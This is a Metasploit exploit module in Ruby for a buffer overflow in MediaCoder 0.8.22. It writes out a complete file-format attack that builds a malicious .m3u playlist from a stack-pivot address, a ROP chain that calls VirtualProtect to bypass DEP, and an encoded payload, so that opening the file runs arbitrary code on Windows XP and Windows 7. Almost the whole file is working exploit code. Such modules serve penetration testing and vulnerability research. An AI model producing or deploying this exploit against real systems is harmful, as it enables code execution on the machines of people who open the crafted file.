MediaCoder .M3U Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MediaCoder .M3U Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability
          occurs when adding an .m3u, allowing arbitrary code execution under the context
          of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder
          runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539
          to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'metacom', # Vulnerability discovery and PoC
          'modpr0be <modpr0be[at]spentera.com>', # Metasploit module
          'otoy <otoy[at]spentera.com>' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2017-8869' ],
          [ 'OSVDB', '94522' ],
          [ 'EDB', '26403' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh'
        },
        'Platform' => 'win',
        'Payload' => {
          'Space' => 1200,
          'BadChars' => "\x00\x5c\x40\x0d\x0a",
          'DisableNops' => true,
          'StackAdjustment' => -3500
        },
        'Targets' => [
          [
            'MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0',
            {
              # stack pivot (add esp,7ac;pop pop pop pop ret from postproc-52.dll)
              'Ret'	=> 0x6afd4435,
              'Offset'	=> 849,
              'Max'	=> 5000
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-06-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
      ]
    )
  end

  def junk(n = 1)
    return [rand_text_alpha(4).unpack("L")[0]] * n
  end

  def nops(rop = false, n = 1)
    return rop ? [0x6ab16202] * n : [0x90909090] * n
  end

  def exploit
    # fixed rop from mona.py :)
    rop_gadgets =
      [
        nops(true, 35),	# ROP NOP
        0x100482ff,	# POP EAX # POP EBP # RETN [jpeg.dll]
        0xffffffc0,	# negate will become 0x00000040
        junk,
        0x66d9d9ba,	# NEG EAX # RETN [avutil-52.dll]
        0x6ab2241d,	# XCHG EAX,EDX # ADD ESP,2C # POP EBP # POP EDI # POP ESI # POP EBX # RETN [swscale-2.dll]
        junk(15),  	# reserve more junk for add esp,2c
        0x1004cc03,	# POP ECX # RETN [jpeg.dll]
        0x6ab561b0,	# ptr to &VirtualProtect() [IAT swscale-2.dll]
        0x66d9feee,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [avutil-52.dll]
        0x6ab19780,	# XCHG EAX,ESI # RETN [swscale-2.dll]
        0x66d929f5,	# POP EAX # POP EBX # RETN [jpeg.dll]
        0xfffffcc0,	# negate will become 0x0000033f
        junk,
        0x6ab3c65a,	# NEG EAX # RETN [postproc-52.dll]
        0x1004cc03,	# POP ECX # RETN [jpeg.dll]
        0xffffffff,	#
        0x660166e9,	# INC ECX # SUB AL,0EB # RETN [libiconv-2.dll]
        0x66d8ae48,	# XCHG ECX,EBX # RETN [avutil-52.dll]
        0x1005f6e4,	# ADD EBX,EAX # OR EAX,3000000 # RETN [jpeg.dll]
        0x6ab3d688,	# POP ECX # RETN [jpeg.dll]
        0x6ab4ead0,	# Writable address [avutil-52.dll]
        0x100444e3,	# POP EDI # RETN [swscale-2.dll]
        nops(true),	# ROP NOP [swscale-2.dll]
        0x100482ff,	# POP EAX # POP EBP # RETN [jpeg.dll]
        nops,      	# Regular NOPs
        0x6ab01c06,	# PUSH ESP# RETN [swscale-2.dll]
        0x6ab28dda,	# PUSHAD # RETN [swscale-2.dll]
      ].flatten.pack("V*")

    sploit = "http://"
    sploit << rand_text(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << rop_gadgets
    sploit << make_nops(16)
    sploit << payload.encoded
    sploit << rand_text(target['Max'] - sploit.length)

    file_create(sploit)
  end
end